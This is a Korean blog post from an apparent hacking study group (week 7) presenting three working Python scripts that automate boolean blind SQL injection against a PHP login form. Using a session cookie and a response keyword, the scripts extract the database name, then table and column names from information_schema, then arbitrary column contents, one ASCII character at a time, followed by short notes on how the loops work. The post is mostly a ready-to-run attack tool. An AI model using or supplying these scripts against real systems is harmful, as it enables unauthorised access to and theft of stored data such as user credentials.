Blind SQLI (Login) Tool

황인환·2024년 6월 4일

Blind SQLI (Login)

DB.py (DB이름 추출 ASCII 코드로 나타냄)

import requests

url = input("url 입력: ")
print("Data정보")
ID = input("ID 입력: ")
PASSWORD = input("PassWord 입력: ")

print("hearer 정보")
print(" 큰따옴표 제거 ")
userAgent = input("User-Agent: ")
print("value값만")
cookie= input("PHPSESSID: ")
filterWord=input("filterWord: ")

#자리 수

DBNum=1
while True:
    blind=(f"{ID}' and (ascii(substr((select database()),{DBNum},1)) >0) and '1'='1")
    data={
        'UserId' : f'{blind}',
        'Password' : f'{PASSWORD}',
        'Submit' : 'Login'
    }


    header={
        "User-Agent" : f'{userAgent}',
        "Cookie" : f'PHPSESSID={cookie}'
    }
    response=requests.post(url,data=data,headers=header)

    if filterWord in response.text:
        print("\r")
        print("자리 수: " + str(DBNum-1))
        break
            
    DBNum +=1

tn=1

while tn < DBNum :
    num=32
        # tn이 새로 설정될떄 마다 32로 초기화 할려고 while안에 넣음 안넣으면 초기화안되서 같은결과만나옴
    while True :
        blind=(f"{ID}' and (ascii(substr((select database()),{tn},1)) >{num}) and '1'='1")

        data={
            'UserId' : f'{blind}',
            'Password' : f'{PASSWORD}',
            'Submit' : 'Login'
        }


        header={
            "User-Agent" : f'{userAgent}',
            "Cookie" : f'PHPSESSID={cookie}'
        }

        response=requests.post(url,data=data,headers=header)

            # print(response.text)

        if filterWord in response.text:
            if(num==32):
                print("No")
                exit()
            else:
 
                print(str(num)+", ",end='')
                break

        num +=1    
    tn += 1
print("Done")

TABLE & COLUMN.py (Table이름과 Column이름 추출 ASCII 코드로 나타남)

import requests

url=input("url 입력: ")
print("DATA 정보")
ID = input("ID 입력: ")
PASSWORD = input("PassWord 입력: ")
DB_NAME= input("DB_NAME: ")

print("hearer 정보")
print(" 큰따옴표 제거 ")
userAgent = input("User-Agent: ")
print("value값만")
cookie= input("PHPSESSID: ")
print("1: table, 2: column")
choice=input("숫자를 선택하세요")
filterWord=input("filterWord: ")
if(choice=="1"):
    choice="table"
else:
    choice="column"


limitNum=0
while(True):
    # print(limitNum)
    check=(f"{ID}' and (ascii(substr((select {choice}_name from information_schema.{choice}s where table_schema='{DB_NAME}' limit {limitNum},1),1,1)) >0) and '1'='1")
    data={
        'UserId' : f'{check}',
        'Password' : f'{PASSWORD}',
        'Submit' : 'Login'
    }


    header={
        "User-Agent" : f'{userAgent}',
        "Cookie" : f'PHPSESSID={cookie}'
    }
    response=requests.post(url,data=data,headers=header)

    if filterWord in response.text:
        break
        
    
    limitNum +=1

print("갯수: " + str(limitNum))

a=0
while a <= limitNum:
    DBNum=1
    while(True):
        # print("DB")
        check=(f"{ID}' and (ascii(substr((select {choice}_name from information_schema.{choice}s where table_schema='{DB_NAME}' limit {a},1),{DBNum},1)) >0) and '1'='1")
        data={
            'UserId' : f'{check}',
            'Password' : f'{PASSWORD}',
            'Submit' : 'Login'
        }


        header={
            "User-Agent" : f'{userAgent}',
            "Cookie" : f'PHPSESSID={cookie}'
        }
        response=requests.post(url,data=data,headers=header)

        if filterWord in response.text:
            print("\r")
            print("자리 수: " + str(DBNum-1))
            break
            

        DBNum +=1
        

    tn=1

    while tn < DBNum :
        num=32
        # tn이 새로 설정될떄 마다 32로 초기화 할려고 while안에 넣음 안넣으면 초기화안되서 같은결과만나옴
        while True :
            blind=(f"{ID}' and (ascii(substr((select {choice}_name from information_schema.{choice}s where table_schema='{DB_NAME}' limit {a},1),{tn},1)) >{num}) and '1'='1")

            data={
                'UserId' : f'{blind}',
                'Password' : f'{PASSWORD}',
                'Submit' : 'Login'
            }


            header={
                "User-Agent" : f'{userAgent}',
                "Cookie" : f'PHPSESSID={cookie}'
            }

            response=requests.post(url,data=data,headers=header)


            # print(response.text)


            if filterWord in response.text:
                if(num==32):
                    print("No")
                    break
                else:
                    # os.system('cls' if os.name == 'nt' else 'clear') 
                    print(str(num) + ", " , end='')
                    break
            else:
                # os.system('cls')
                # print(num)
                # print(f"{num}\r\033[k")
                # print(tn)
                num +=1
                continue

        tn += 1
    a +=1

print("\r")
print("Done")

data.py( 추출한 Table과 column을 이용해서 데이터 추출 ASCII 코드로 나타남)

import requests

url = input("url 입력: ")
print("Data정보")
ID = input("ID 입력: ")
PASSWORD = input("PassWord 입력: ")

print("hearer 정보")
print(" 큰따옴표 제거 ")
userAgent = input("User-Agent: ")
print("value값만")
cookie= input("PHPSESSID: ")
filterWord=input("filterWord: ")
print("추출 DATA")
table= input("table: ")
column= input("column: ")

cNum=0
while True:
    print(cNum)
    blind=f"{ID}' and (ascii(substr((select {column} from {table} limit {cNum},1),1,1))>0) and '1'='1"
    data={
        'UserId' : f'{blind}',
        'Password' : f'{PASSWORD}',
        'Submit' : 'Login'
    }

    header={
        'User-Agent' : f'{userAgent}',
        'Cookie' : f'PHPSESSID={cookie}'
    }

    response=requests.post(url, data=data, headers=header)

    if filterWord in response.text:
        break

    cNum += 1

print("갯수:" + str(cNum))

a = 0
vNum = 1
while a < cNum:
    while True:
        blind=f"{ID}' and (ascii(substr((select {column} from {table} limit {a},1),{vNum},1))>0) and '1'='1"
        data={
            'UserId' : f'{blind}',
            'Password' : f'{PASSWORD}',
            'Submit' : 'Login'
        }

        header={
            'User-Agent' : f'{userAgent}',
            'Cookie' : f'PHPSESSID={cookie}'
        }

        response=requests.post(url, data=data, headers=header)

        if filterWord in response.text:
            print("자리수:" + str(vNum))
            break

        vNum += 1
    b=1
    while b <= vNum:
        Num=32
        while True:
            blind=f"{ID}' and (ascii(substr((select {column} from {table} limit {a},1),{b},1))>{Num}) and '1'='1"
            data={
                'UserId' : f'{blind}',
                'Password' : f'{PASSWORD}',
                'Submit' : 'Login'
            }

            header={
                'User-Agent' : f'{userAgent}',
                'Cookie' : f'PHPSESSID={cookie}'
            }

            response=requests.post(url, data=data, headers=header)

            if filterWord in response.text:
                if(Num == 32):
                    print("Nothing")
                    break
                else:
                    print(str(Num) + ", ", end='')
                    break

            Num += 1
        b += 1
    a += 1
  • DB.py와 다른 것들과의 차이는 limit조건을 추가해서 갯수를 파악할 수 있게함

  • data정보는 파라미터가 바뀜에 따라 바꿔줘야한다.

  • DBNum은 자리수이고
    tn으로 그 자리수까지 반복하고
    tn이 반복하는 동아 num은 ascii 코드 32 -127자리까지 반복한다.

ex) DBNum이 6이라면 
{1},1)) >{32}) and '1'='1")
{1},1)) >{33}) and '1'='1")
.
.
.
{2},1)) >{32}) and '1'='1")
{2},1)) >{33}) and '1'='1")
.
.
.
중간에 필터에 걸리면 break로 탈출 -> tn +=1 -> tn이 6되기 전까지 반복
  • 여기서 포인트는 filterword를 이용해서 response.text로 받은 응답을 Yes or No 할 수있는 것이라고 생각한다.
    num 시작이 32 이유
    32-127이 ascii코드로 표현한 문자이기 때문이다.
    request, http, ascii는 앞에 포스팅했기 때문에 생략

(추후 해킹툴 업데이트하면서 파라미터도 input으로 입력받는 형태 & input 한번만 기입하도록 업데이트 예정 )

--Normaltic Study 7주차 --

0개의 댓글